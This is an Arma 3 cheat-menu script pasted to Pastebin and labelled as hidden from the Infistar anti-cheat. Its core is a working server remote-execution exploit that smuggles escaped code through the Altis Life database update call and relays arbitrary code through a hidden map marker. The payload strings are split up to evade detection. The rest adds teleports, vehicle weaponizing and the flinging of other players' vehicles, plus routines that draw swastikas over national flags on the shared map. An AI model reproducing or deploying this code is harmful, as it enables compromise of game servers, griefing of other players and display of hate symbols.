Advertisement
Guest User

Untitled

a guest
Apr 28th, 2017
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 115.21 KB | None | 0 0
  1. comment " ¦ Xepa Menu 1 ¦ ";
  2. comment " ¦Infistar Hidden¦ ";
  3. comment " ¦Stream Friendly¦ ";
  4. comment " +===============+ ";
  5.  
  6. missionNamespace setVariable ["RANDOMVAR",true];
  7. RANDOMVAR = {
  8.  
  9. while{true} do {
  10. _GLOBAL_ARRAY = [[],[]];
  11.  
  12. _get = {
  13. params["_GLOBAL_ARRAY","_data"];
  14. private["_name","_default","_index"];
  15. _name = _data select 0;
  16. _default = _data select 1;
  17. _index = (_GLOBAL_ARRAY select 0) find toLower(_name);
  18. if(_index == -1) exitWith {_default};
  19. (_GLOBAL_ARRAY select 1) select _index;
  20. };
  21. _set = {
  22. params["_GLOBAL_ARRAY","_data"];
  23. private["_name","_value","_index"];
  24. _name = _data select 0;
  25. _value = _data select 1;
  26. _index = (_GLOBAL_ARRAY select 0) find toLower(_name);
  27. if(_index == -1) then {
  28. (_GLOBAL_ARRAY select 0) pushBack toLower(_name);
  29. (_GLOBAL_ARRAY select 1) pushBack _value;
  30. } else {
  31. (_GLOBAL_ARRAY select 1) set [_index,_value];
  32. };
  33. };
  34.  
  35. comment "Master switch (setting this to false will turn off the system)";
  36. [_GLOBAL_ARRAY,["IsRunning",true]] call _set;
  37. [_GLOBAL_ARRAY,["IsExiting",false]] call _set;
  38.  
  39. comment "Setup functions";
  40.  
  41. _re = {
  42. params["_GLOBAL_ARRAY","_get","_set","_code",["_wait",true]];
  43. private["_install","_array","_narray","_rofl"];
  44.  
  45. if(typename _code == typename "") then {_code = compile _code;};
  46.  
  47. if(!isNil {missionNamespace getVariable "life_fnc_saveGear"}) then {
  48. _rofl = str(_code);
  49. _rofl = _rofl select [1,count(_rofl)-2];
  50. _array = _rofl splitString "";
  51. _narray = [];
  52. {
  53. _narray pushBack _x;
  54. if(_x == "'") then {
  55. _narray pushback "'";
  56. };
  57. } forEach _array;
  58. _rofl = _narray joinString "";
  59. _code = compile _rofl;
  60. };
  61.  
  62. _install = {
  63. systemchat "Installing RE";
  64. private["_a","_b","_c"];
  65. if(!isNil {missionNamespace getVariable "life_fnc_saveGear"}) then {
  66. systemchat "Detected life server";
  67.  
  68. private["_mode","_packet","_array","_flag"];
  69. _mode = 3;
  70. _packet = [getPlayerUID player,playerSide,nil,_mode];
  71. _packet set[2,['"];[]spawn{
  72. REDONE = true;
  73. publicVariable ''''REDONE'''';
  74. _pved = false;
  75. while{true}do{
  76. if((markerText (''''_USE'''' + ''''R_DE'''' + ''''FINED #0/0/3'''')) != '''''''') then {
  77.  
  78. addMissionEventHandler[''''EachFrame'''',''''
  79. REDONE3 = true;publicVariable ''''''''REDONE3'''''''';
  80. remo'''' + ''''veA'''' + ''''llMiss'''' + ''''ionEven'''' + ''''tHand'''' + ''''lers ''''''''EachF'''' + ''''rame'''''''';
  81. ''''''''B_sol'''' + ''''dier_PG_F'''''''' cr'''' + ''''eateUni'''' + ''''t [[0,0,0],gro'''' + ''''up BI'''' + ''''S_functio'''' + ''''ns_ma'''' + ''''inscope,''''''''if(tr'''' + ''''ue) the'''' + ''''n ''''+(markerText (''''_USE'''' + ''''R_DEFI'''' + ''''NED #0/0/3''''))+'''' ''''''''];
  82. (''''''''_USE'''' + ''''R_DEFI'''' + ''''NED #0/0/3'''''''') se'''' + ''''tMa'''' + ''''rkerTe'''' + ''''xt '''''''''''''''';
  83. ''''];
  84.  
  85. };
  86. uiSleep 0.01;
  87. {
  88. deleteVehicle _x;
  89. } forEach (' + str(ASLtoAGL [0.102,0.102,0]) + ' nearEntities 10);
  90. if(isNil ''''REDONE2'''') then {
  91. REDONE2 = true;
  92. };
  93. if(!_pved) then {
  94. _pved = true;
  95. publicVariable ''''REDONE2'''';
  96. };
  97. };
  98. };["']];
  99. _packet remoteExecCall ["DB_fnc_updatePartial",2];
  100. _packet remoteExecCall ["DB_fnc_updatePlayerInfoPartial",2];
  101. _sender = player;
  102. _uid = getPlayerUID _sender;
  103. _side = playerSide;
  104. [_uid,_side,_sender] remoteExec ["DB_fnc_queryRequest",2];
  105. waitUntil{missionNamespace getVariable ["REDONE",false]};
  106. systemchat "RE INIT> Server thread started";
  107. waitUntil{missionNamespace getVariable ["REDONE2",false]};
  108. systemchat "RE INIT> Server thread running";
  109. } else {
  110. _a = ('
  111. [] spawn {
  112. REDONE = true;
  113. publicVariable "REDONE";
  114. _pved = false;
  115. while{true} do {
  116. if((markerText "_USER_DEFINED #0/0/3") != "") then {
  117. "B_soldier_PG_F" creat' + 'eUnit [[0,0,0],group BIS_function' + 's_mainscope,''''if(true) then '''' + (markerText "_USER_DEFINED #0/0/3") + '''';''''];
  118. "_USER_DEFINED #0/0/3" setM' + 'arkerText "";
  119. REDONE3 = true;publicVariable "REDONE3";
  120. };
  121. uiSleep 0.001;
  122. {
  123. deleteVehicle _x;
  124. } forEach (' + str(ASLtoAGL [0.102,0.102,0]) + ' nearEntities 10);
  125. if(isNil "REDONE2") then {
  126. REDONE2 = true;
  127. };
  128. if(!_pved) then {
  129. _pved = true;
  130. publicVariable "REDONE2";
  131. };
  132. };
  133. };
  134. ');
  135. systemchat "Non life server detected";
  136. _c = ("(typeof player) create");
  137. _c = _c + ("Unit [[0,0,0],create");
  138. _c = _c + ("Group sideLogic,'if(isserver) then {");
  139. _c = _c + _a;
  140. _c = _c + "};'];";
  141. _b = compile _c;
  142. call _b;
  143. waitUntil{missionNamespace getVariable ["REDONE",false]};
  144. systemchat "RE INIT> Server thread started";
  145. waitUntil{missionNamespace getVariable ["REDONE2",false]};
  146. systemchat "RE INIT> Server thread running";
  147. };
  148. };
  149.  
  150. _marker = "_USER_DEFINED #0/0/3";
  151. if (!((markerPos _marker) isEqualTo [0.102,0.102,0]) || !(missionNamespace getVariable ["REDONE2",false])) then {
  152. deleteMarker _marker;
  153. _marker = createMarker [_marker, [0.102,0.102,0]];
  154. _marker setMarkerShape "ICON";
  155. _marker setMarkerType "mil_box";
  156. _marker setMarkerColor "ColorBlack";
  157. _marker setMarkerAlpha 0;
  158. [] call _install;
  159. };
  160. missionNamespace setVariable ["REDONE3",false];
  161. _marker setMarkerText str(_code);
  162. if(_wait) then {
  163. _timeout = diag_ticktime + 10;
  164. _execTrigger = false;
  165. waitUntil{
  166. if(diag_tickTime > _timeout) then {_timeout = 1e14; systemchat "ERROR: SERVER THREAD NOT RUNNING?";};
  167. if(missionNamespace getVariable "REDONE3") then {missionNamespace setVariable ["REDONE3",false]; systemchat "EXECUTED CODE";_execTrigger = true;};
  168. markerText _marker == ""
  169. };
  170. if !(_execTrigger) then {
  171. systemchat "EXECUTED CODE - NO SERVER RESPONSE";
  172. };
  173. };
  174. };
  175.  
  176. _saveCFG = {
  177. params["_name","_value"];
  178. private["_a","_b","_c"];
  179. with profilenamespace do {
  180. _a = format["IGUI_GRID_CHAT_X_%1",_name];
  181. _b = format["%1 = %2;",_a,str(_value)];
  182. _c = compile _b;
  183. call _c;
  184. };
  185. saveProfileNamespace;
  186. };
  187. _rString = {
  188. ("a" + str(floor(random(900000))+100000));
  189. };
  190. _toSafeUIString = {
  191. params["_string"];
  192. private["_newstr"];
  193. _newstr = "";
  194. for "_i" from 0 to count(_string)-2 do {
  195. _newstr = _newstr + (_string select [_i,1]);
  196. _newstr = _newstr + " ";
  197. };
  198. _newstr = _newstr + (_string select [count(_string)-1,1]);
  199. _newstr;
  200. };
  201. _togVar = {
  202. params["_varname","_GLOBAL_ARRAY","_set","_get"];
  203. private["_value"];
  204. _value = [_GLOBAL_ARRAY,[_varname,false]] call _get;
  205. [_GLOBAL_ARRAY,[_varname,!_value]] call _set;
  206. !_value;
  207. };
  208. _DtCreate = {
  209. params["_GLOBAL_ARRAY","_set","_get","_text","_location",["_textColor",[1,1,1,1]],["_backColor",[0,0,0,0]]];
  210. private["_lastIndex","_newIndex","_display","_control","_DtData","_currentData"];
  211. disableSerialization;
  212.  
  213. _lastIndex = [_GLOBAL_ARRAY,["DtIndexLast",15399]] call _get;
  214. _newIndex = _lastIndex + 1;
  215. [_GLOBAL_ARRAY,["DtIndexLast",_newIndex]] call _set;
  216.  
  217. _newIndex cutrsc ["rscDynamicText","plain"];
  218. _display = uinamespace getvariable "BIS_dynamicText";
  219. _control = _display displayctrl 9999;
  220. _control ctrlsetposition _location;
  221. _control ctrlsetbackgroundcolor _backColor;
  222. _control ctrlsettextcolor _textColor;
  223.  
  224. if(typename _text != "TEXT") then {
  225. _text = parseText _text;
  226. };
  227.  
  228. _control ctrlSetStructuredText _text;
  229. _control ctrlCommit 0;
  230.  
  231. _DtData = [_display,_newIndex];
  232.  
  233. _currentData = [_GLOBAL_ARRAY,["DtDataArray",[]]] call _get;
  234. _currentData pushBack _DtData;
  235. [_GLOBAL_ARRAY,["DtDataArray",_currentData]] call _set;
  236.  
  237. _DtData;
  238.  
  239. };
  240. _DtGetControl = {
  241. params["_DtData"];
  242. disableSerialization;
  243. if(!isNull (_DtData select 0)) then {
  244. (_DtData select 0) displayCtrl 9999;
  245. } else {
  246. controlNull;
  247. };
  248. };
  249. _DtDelete = {
  250. params["_GLOBAL_ARRAY","_set","_get","_DtData"];
  251. private["_currentData","_index"];
  252. _currentData = [_GLOBAL_ARRAY,["DtDataArray",[]]] call _get;
  253. _index = _currentData find _DtData;
  254. if(_index != -1) then {
  255. ((_currentData deleteAt _index) select 1) cutText["","PLAIN"];
  256. };
  257. [_GLOBAL_ARRAY,["DtDataArray",_currentData]] call _set;
  258. };
  259.  
  260.  
  261. _cShape = {
  262. params["_code"];
  263.  
  264.  
  265. if(missionNamespace getVariable ["isDrawing",false]) exitWith {hint "You need to wait for the other drawing methods to finish"};
  266.  
  267. _resolution = 20;
  268.  
  269.  
  270. _drawDottedLine = {
  271. _mapSize = ctrlPosition ((findDisplay 12) displayCtrl 51);
  272. _xMin = _mapSize select 0;
  273. _yMin = _mapSize select 1;
  274. _w = (_mapSize select 2);
  275. _h = (_mapSize select 3);
  276. params["_startPos","_endPos","_color","_resolution","_even","_step"];
  277. private["_cX","_cY","_sX","_sY","_xStart","_yStart","_dX","_dY","_x","_y","_pos","_markerstr"];
  278.  
  279. _cX = ((_endPos select 0) - (_startPos select 0));
  280. _cY = ((_endPos select 1) - (_startPos select 1));
  281. _sX = _cX * _resolution;
  282. _sY = _cY * _resolution;
  283. _xStart = _xMin + ((_startPos select 0)*_w);
  284. _yStart = _yMin + ((_startPos select 1)*_h);
  285. for "_i" from 0 to (abs(_sX) max abs(_sY)) do {
  286. isDrawing = true;
  287. if ((_even && (_i % (_step + 1) == 0)) || (!_even && (_i % ((_step + 1) / 2) == 0) && !(_i % (_step + 1) == 0))) then {
  288. _dX = (_i/_resolution) * (_sX / (abs(_sX) max abs(_sY)));
  289. _dY = (_i/_resolution) * (_sY / (abs(_sX) max abs(_sY)));
  290.  
  291. _x = _xStart + (_w * _dX);
  292. _y = _yStart + (_h * _dY);
  293.  
  294. _pos = (((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [(_startPos select 0) + _dX,(_startPos select 1) + _dY]);
  295. _pos pushback 0;
  296.  
  297. _name = "#USER:" + str(_pos);
  298. deleteMarker _name;
  299. _markerstr = createMarker [_name, _pos];
  300. _markerstr setMarkerShape "ICON";
  301. _markerstr setMarkerType "mil_box";
  302. _markerstr setMarkerColor _color;
  303. };
  304. };
  305. isDrawing = false;
  306. };
  307. _drawLine = {
  308. _mapSize = ctrlPosition ((findDisplay 12) displayCtrl 51);
  309. _xMin = _mapSize select 0;
  310. _yMin = _mapSize select 1;
  311. _w = (_mapSize select 2);
  312. _h = (_mapSize select 3);
  313. params["_startPos","_endPos","_color","_resolution"];
  314. private["_cX","_cY","_sX","_sY","_xStart","_yStart","_dX","_dY","_x","_y","_pos","_markerstr"];
  315.  
  316. _cX = ((_endPos select 0) - (_startPos select 0));
  317. _cY = ((_endPos select 1) - (_startPos select 1));
  318. _sX = _cX * _resolution;
  319. _sY = _cY * _resolution;
  320. _xStart = _xMin + ((_startPos select 0)*_w);
  321. _yStart = _yMin + ((_startPos select 1)*_h);
  322. for "_i" from 0 to (abs(_sX) max abs(_sY)) do {
  323. isDrawing = true;
  324. _dX = (_i/_resolution) * (_sX / (abs(_sX) max abs(_sY)));
  325. _dY = (_i/_resolution) * (_sY / (abs(_sX) max abs(_sY)));
  326.  
  327. _x = _xStart + (_w * _dX);
  328. _y = _yStart + (_h * _dY);
  329.  
  330. _pos = (((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [(_startPos select 0) + _dX,(_startPos select 1) + _dY]);
  331. _pos pushback 0;
  332.  
  333. _name = "#USER:" + str(_pos);
  334. deleteMarker _name;
  335. _markerstr = createMarker [_name, _pos];
  336. _markerstr setMarkerShape "ICON";
  337. _markerstr setMarkerType "mil_box";
  338. _markerstr setMarkerColor _color;
  339. };
  340. isDrawing = false;
  341. };
  342.  
  343. _drawSWAS = {
  344. params["_scale","_color",["_adjustscale",true],["_scaler",0]];
  345.  
  346.  
  347. _dX = 0.5 * (1 - (1*_scale));
  348. if(!_adjustscale) then {_dX = _scaler * (1 - (1*_scale));};
  349.  
  350. [[0.5*_scale + _dX,0*_scale + _dX],[0.5*_scale + _dX,1*_scale + _dX],_color,_resolution] spawn _drawLine;
  351. [[0.5*_scale + _dX,0*_scale + _dX],[1*_scale + _dX,0*_scale + _dX],_color,_resolution] spawn _drawLine;
  352. [[0.5*_scale + _dX,1*_scale + _dX],[0*_scale + _dX,1*_scale + _dX],_color,_resolution] spawn _drawLine;
  353. [[0*_scale + _dX,0.5*_scale + _dX],[1*_scale + _dX,0.5*_scale + _dX],_color,_resolution] spawn _drawLine;
  354. [[0*_scale + _dX,0.5*_scale + _dX],[0*_scale + _dX,0*_scale + _dX],_color,_resolution] spawn _drawLine;
  355. [[1*_scale + _dX,0.5*_scale + _dX],[1*_scale + _dX,1*_scale + _dX],_color,_resolution] spawn _drawLine;
  356.  
  357. };
  358.  
  359.  
  360. _drawHorizFlag = {
  361. params["_colors"];
  362.  
  363. _itemsPer = floor(_resolution / count(_colors));
  364.  
  365. _j = 1;
  366. _k = 0;
  367. _threads = [];
  368. for "_i" from ((2/_resolution)) to 1 step (1/_resolution) do {
  369. if(_j > _itemsPer) then {
  370. _k = _k + 1;
  371. _j = 1;
  372. };
  373. if(_k == count(_colors)) exitWith {};
  374. _color = _colors select _k;
  375. _threads pushBack ([[0,_i],[1,_i],_color,_resolution] spawn _drawLine);
  376.  
  377. _j = _j + 1;
  378. };
  379.  
  380. _done = 0;
  381. _total = count(_threads);
  382. while{count(_threads) > 0} do {
  383. systemchat ("Drawing Flag: " + str(round((_done / _total) * 100)) + "%");
  384. {
  385. if(scriptDone _x) exitWith {
  386. _done = _done + 1;
  387. _threads deleteAt _forEachIndex;
  388. };
  389. } forEach _threads;
  390. };
  391. systemchat ("Drawing Flag: 100%");
  392. };
  393. _drawGPF = {
  394.  
  395. _colors = [
  396. "ColorRed",
  397. "ColorOrange",
  398. "ColorYellow",
  399. "ColorGreen",
  400. "ColorBlue",
  401. "ColorCIV"
  402. ];
  403. [_colors] call _drawHorizFlag;
  404.  
  405. };
  406. _drawGermanFlag = {
  407. _colors = [
  408. "ColorBlack",
  409. "ColorRed",
  410. "ColorYellow"
  411. ];
  412. [_colors] call _drawHorizFlag;
  413. };
  414. _drawRussianFlag = {
  415. _colors = [
  416. "ColorWhite",
  417. "ColorBlue",
  418. "ColorRed"
  419. ];
  420. [_colors] call _drawHorizFlag;
  421. };
  422. _drawAmericanBlue = {
  423. _threads = [];
  424. for "_i" from ((2/_resolution)) to 0.5 step (1/_resolution) do {
  425. _threads pushback ([[0,_i],[0.5,_i],"ColorBlue",_resolution] spawn _drawLine);
  426. };
  427. _done = 0;
  428. _total = count(_threads);
  429. while{count(_threads) > 0} do {
  430. systemchat ("Drawing Blue: " + str(round((_done / _total) * 100)) + "%");
  431. {
  432. if(scriptDone _x) exitWith {
  433. _done = _done + 1;
  434. _threads deleteAt _forEachIndex;
  435. };
  436. } forEach _threads;
  437. };
  438. };
  439. _drawAmericanStars = {
  440. _threads = [];
  441. _j = 1;
  442. _k = 1;
  443. for "_i" from ((2/_resolution)) to 0.5 step (1/_resolution) do {
  444. if(_j % 2 == 0) then {
  445. _threads pushback ([[0,_i],[0.5,_i],"ColorWhite",_resolution, (_k % 2 != 0), 3] spawn _drawDottedLine);
  446. _k = _k + 1;
  447. };
  448. _j = _j + 1;
  449. };
  450. _done = 0;
  451. _total = count(_threads);
  452. while{count(_threads) > 0} do {
  453. systemchat ("Drawing Stars: " + str(round((_done / _total) * 100)) + "%");
  454. {
  455. if(scriptDone _x) exitWith {
  456. _done = _done + 1;
  457. _threads deleteAt _forEachIndex;
  458. };
  459. } forEach _threads;
  460. };
  461. };
  462. _drawAmericanStripes = {
  463. _colors = [
  464. "ColorRed",
  465. "ColorWhite",
  466. "ColorRed",
  467. "ColorWhite",
  468. "ColorRed",
  469. "ColorWhite",
  470. "ColorRed",
  471. "ColorWhite",
  472. "ColorRed",
  473. "ColorWhite",
  474. "ColorRed",
  475. "ColorWhite",
  476. "ColorRed"
  477. ];
  478. [_colors] call _drawHorizFlag;
  479. };
  480. _drawAmericanFlag = {
  481. call _drawAmericanStripes;
  482. call _drawAmericanBlue;
  483. call _drawAmericanStars;
  484. };
  485. _drawNeoGPF = {
  486. call _drawGPF;
  487. [0.5,"ColorBlack"] call _drawSWAS;
  488. };
  489. _drawNeoGermany = {
  490. call _drawGermanFlag;
  491. [0.5,"ColorWhite"] call _drawSWAS;
  492. };
  493. _drawNeoRussia = {
  494. call _drawRussianFlag;
  495. [0.5,"ColorBlack"] call _drawSWAS;
  496. };
  497. _drawNeoAmerica = {
  498. call _drawAmericanStripes;
  499. call _drawAmericanBlue;
  500. [0.4,"ColorWhite",false,0.083] call _drawSWAS;
  501. };
  502.  
  503. _drawString = {
  504. params["_words","_color"];
  505.  
  506. _offset = 0;
  507. {
  508. switch(_x) do {
  509. case "A": {
  510. [[0 + _offset,0.5],[0.15 + _offset,0],_color,_resolution] call _drawLine;
  511. [[0.15 + _offset,0],[0.3 + _offset,0.5],_color,_resolution] call _drawLine;
  512. [[0.075 + _offset,0.25],[0.225 + _offset,0.25],_color,_resolution] call _drawLine;
  513. _offset = _offset + 0.325;
  514. };
  515. case "B": {
  516. [[0 + _offset,0.5],[0 + _offset,0],_color,_resolution] call _drawLine;
  517. [[0 + _offset,0],[0.20 + _offset,0],_color,_resolution] call _drawLine;
  518. [[0.2 + _offset,0],[0.3 + _offset,0.1],_color,_resolution] call _drawLine;
  519. [[0.3 + _offset,0.1],[0.3 + _offset,0.2],_color,_resolution] call _drawLine;
  520. [[0.3 + _offset,0.2],[0.25 + _offset,0.25],_color,_resolution] call _drawLine;
  521. [[0.25 + _offset,0.25],[0.3 + _offset,0.3],_color,_resolution] call _drawLine;
  522. [[0.3 + _offset,0.3],[0.3 + _offset,0.4],_color,_resolution] call _drawLine;
  523. [[0.3 + _offset,0.4],[0.2 + _offset,0.5],_color,_resolution] call _drawLine;
  524. [[0.2 + _offset,0.5],[0 + _offset,0.5],_color,_resolution] call _drawLine;
  525. [[0 + _offset,0.25],[0.25 + _offset,0.25],_color,_resolution] call _drawLine;
  526. _offset = _offset + 0.325;
  527. };
  528. case "C": {
  529. [[0.1 + _offset,0],[0.3 + _offset,0],_color,_resolution] call _drawLine;
  530. [[0.1 + _offset,0.5],[0.3 + _offset,0.5],_color,_resolution] call _drawLine;
  531. [[0 + _offset,0.15],[0 + _offset,0.35],_color,_resolution] call _drawLine;
  532. [[0.1 + _offset,0],[0 + _offset,0.15],_color,_resolution] call _drawLine;
  533. [[0.1 + _offset,0.5],[0 + _offset,0.35],_color,_resolution] call _drawLine;
  534. _offset = _offset + 0.325;
  535. };
  536. case "D": {
  537. [[0 + _offset,0],[0 + _offset,0.5],_color,_resolution] call _drawLine;
  538. [[0 + _offset,0],[0.2 + _offset,0],_color,_resolution] call _drawLine;
  539. [[0 + _offset,0.5],[0.2 + _offset,0.5],_color,_resolution] call _drawLine;
  540. [[0.3 + _offset,0.15],[0.3 + _offset,0.35],_color,_resolution] call _drawLine;
  541. [[0.2 + _offset,0],[0.3 + _offset,0.15],_color,_resolution] call _drawLine;
  542. [[0.3 + _offset,0.35],[0.2 + _offset,0.5],_color,_resolution] call _drawLine;
  543. _offset = _offset + 0.325;
  544. };
  545. case "E": {
  546. [[0 + _offset,0],[0 + _offset,0.5],_color,_resolution] call _drawLine;
  547. [[0 + _offset,0],[0.3 + _offset,0],_color,_resolution] call _drawLine;
  548. [[0 + _offset,0.5],[0.3 + _offset,0.5],_color,_resolution] call _drawLine;
  549. [[0 + _offset,0.25],[0.2 + _offset,0.25],_color,_resolution] call _drawLine;
  550. _offset = _offset + 0.325;
  551. };
  552. case "F": {};
  553. case "G": {};
  554. case "H": {};
  555. case "I": {};
  556. case "J": {};
  557. case "K": {};
  558. case "L": {};
  559. case "M": {};
  560. case "N": {};
  561. case "O": {};
  562. case "P": {};
  563. case "Q": {};
  564. case "R": {};
  565. case "S": {};
  566. case "T": {};
  567. case "U": {};
  568. case "V": {};
  569. case "W": {};
  570. case "X": {};
  571. case "Y": {};
  572. case "Z": {};
  573. case " ": { _offset = _offset + 0.3; };
  574. };
  575. } forEach (toUpper(_words) splitString "");
  576.  
  577. };
  578.  
  579. call _code;
  580. };
  581. _sLocal = {
  582. params["_vehicle","_code"];
  583. player reveal [_vehicle,4];
  584. player allowDamage false;
  585. _oldPos = getpos player;
  586. moveout(driver _vehicle);
  587. _tOut = diag_tickTime + 5;
  588. waitUntil{isNull (driver _vehicle) || diag_tickTime > _tOut};
  589. uiSleep 0.025;
  590. player moveInDriver _vehicle;
  591. waitUntil{vehicle player != player || diag_tickTime > _tOut};
  592. waitUntil{local (vehicle player)};
  593. call _code;
  594. moveOut player;
  595. waitUntil{vehicle player == player || diag_tickTime > _tOut};
  596. player setVelocity [0,0,0];
  597. player setPos _oldPos;
  598. player allowDamage true;
  599. };
  600.  
  601. comment "Load config";
  602. {
  603. if(toLower(_x) find toLower("IGUI_GRID_CHAT_X_") == 0) then {
  604. with profilenamespace do (compile ("
  605. [_GLOBAL_ARRAY,['" + tolower(_x) + "'," + _x + "]] call _set;
  606.  
  607. "));
  608. };
  609. } forEach (allVariables profilenamespace);
  610.  
  611. comment "Setup Scripts";
  612.  
  613. _teto = {
  614. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  615. player setpos getpos _target;
  616. hint "Teleported To";
  617. };
  618. _tehe = {
  619. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  620. _target setpos getpos player;
  621. hint "Teleported Here";
  622. };
  623. _weaponize = {
  624. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  625. if(vehicle player == player) exitWith {hint "You must be in a vehicle to weaponize it!";};
  626. (vehicle player) addWeapon "gatling_30mm";
  627. (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
  628. (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
  629. (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
  630. (vehicle player) addMagazine "250Rnd_30mm_HE_shells";
  631. hint "Weaponized";
  632. };
  633. _nosway = {
  634. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  635. if(_toggleStatus) then {
  636. hint "no sway on";
  637. player setCustomAimCoef 0;
  638. } else {
  639. hint "no sway off";
  640. player setCustomAimCoef 1;
  641. };
  642. };
  643.  
  644. comment "Drawing scripts";
  645. _drawngpf = {
  646. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  647. closeDialog 0;
  648. hint "press ESC to select a location to draw the flag";
  649. openMap [true,false];
  650. while{visibleMap} do {
  651. uiSleep 0.01;
  652. };
  653. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  654. [{
  655. _resolution = 100;
  656. call _drawNeoGPF;
  657. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  658. };
  659. _drawngf = {
  660. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  661. closeDialog 0;
  662. hint "press ESC to select a location to draw the flag";
  663. openMap [true,false];
  664. while{visibleMap} do {
  665. uiSleep 0.01;
  666. };
  667. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  668. [{
  669. _resolution = 100;
  670. call _drawNeoGermany;
  671. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  672. };
  673. _drawnrf = {
  674. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  675. closeDialog 0;
  676. hint "press ESC to select a location to draw the flag";
  677. openMap [true,false];
  678. while{visibleMap} do {
  679. uiSleep 0.01;
  680. };
  681. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  682. [{
  683. _resolution = 100;
  684. call _drawNeoRussia;
  685. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  686. };
  687. _drawnaf = {
  688. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  689. closeDialog 0;
  690. hint "press ESC to select a location to draw the flag";
  691. openMap [true,false];
  692. while{visibleMap} do {
  693. uiSleep 0.01;
  694. };
  695. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  696. [{
  697. _resolution = 20;
  698. call _drawNeoAmerica;
  699. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  700. };
  701. _drawgp = {
  702. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  703. closeDialog 0;
  704. hint "press ESC to select a location to draw the flag";
  705. openMap [true,false];
  706. while{visibleMap} do {
  707. uiSleep 0.01;
  708. };
  709. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  710. [{
  711. _resolution = 100;
  712. call _drawGPF;
  713. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  714. };
  715. _drawaf = {
  716. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  717. closeDialog 0;
  718. hint "press ESC to select a location to draw the flag";
  719. openMap [true,false];
  720. while{visibleMap} do {
  721. uiSleep 0.01;
  722. };
  723. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  724. [{
  725. _resolution = 100;
  726. call _drawAmericanFlag;
  727. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  728. };
  729. _drawrf = {
  730. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  731. closeDialog 0;
  732. hint "press ESC to select a location to draw the flag";
  733. openMap [true,false];
  734. while{visibleMap} do {
  735. uiSleep 0.01;
  736. };
  737. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  738. [{
  739. _resolution = 100;
  740. call _drawRussianFlag;
  741. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  742. };
  743. _drawgf = {
  744. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  745. closeDialog 0;
  746. hint "press ESC to select a location to draw the flag";
  747. openMap [true,false];
  748. while{visibleMap} do {
  749. uiSleep 0.01;
  750. };
  751. hint "DRAWING! DO NOT OPEN THE MAP UNTIL COMPLETE";
  752. [{
  753. _resolution = 100;
  754. call _drawGermanFlag;
  755. }] spawn ([_GLOBAL_ARRAY,["cShape",{}]] call _get);
  756. };
  757. _lnear = {
  758. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  759.  
  760. _veh = nearestObject [getpos player, "LandVehicle"];
  761. if(isNull _veh) then {
  762. _veh = nearestObject [getpos player, "Air"];
  763. };
  764. if(isNull _veh) then {
  765. _veh = nearestObject [getpos player, "Ship"];
  766. };
  767. if(_veh in vehicles) then {
  768. hint "Launching vehicle";
  769. [_veh,{
  770. vehicle player setVelocity [0,0,100];
  771. }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
  772. };
  773. };
  774. _lall = {
  775. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  776.  
  777. {
  778. if(alive _x && (_x isKindOf "LandVehicle" || _x isKindOf "Air" || _x isKindOf "Ship")) then {
  779. [_x,{
  780. vehicle player setVelocity [0,0,100];
  781. }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
  782. };
  783. } forEach vehicles;
  784. hint "launched!";
  785. };
  786. _lcursor = {
  787. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  788.  
  789. if(cursorObject in vehicles) then {
  790. hint "Launching cursor";
  791. [cursorObject,{
  792. vehicle player setVelocity [0,0,100];
  793. }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
  794. };
  795. };
  796. _ltarget = {
  797. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  798. if(vehicle _target == _target) exitWith {hint "You can only launch vehicles!";};
  799.  
  800. hint "Launching...";
  801. [vehicle _target,{
  802. vehicle player setVelocity [0,0,100];
  803. }] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
  804. };
  805. _lforward = {
  806. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  807.  
  808. if(cursorObject in vehicles) then {
  809. hint "Launching cursor";
  810. _direction = (vectorNormalized (eyeDirection player)) vectorMultiply 50;
  811. _direction set[2,5];
  812. [cursorObject,compile ("
  813. _pos = getpos vehicle player;
  814. _pos set[2,2];
  815. (vehicle player) setpos _pos;
  816. vehicle player setVelocity " + str(_direction) + ";
  817. ")] call ([_GLOBAL_ARRAY,["sLocal",{}]] call _get);
  818.  
  819. };
  820.  
  821. };
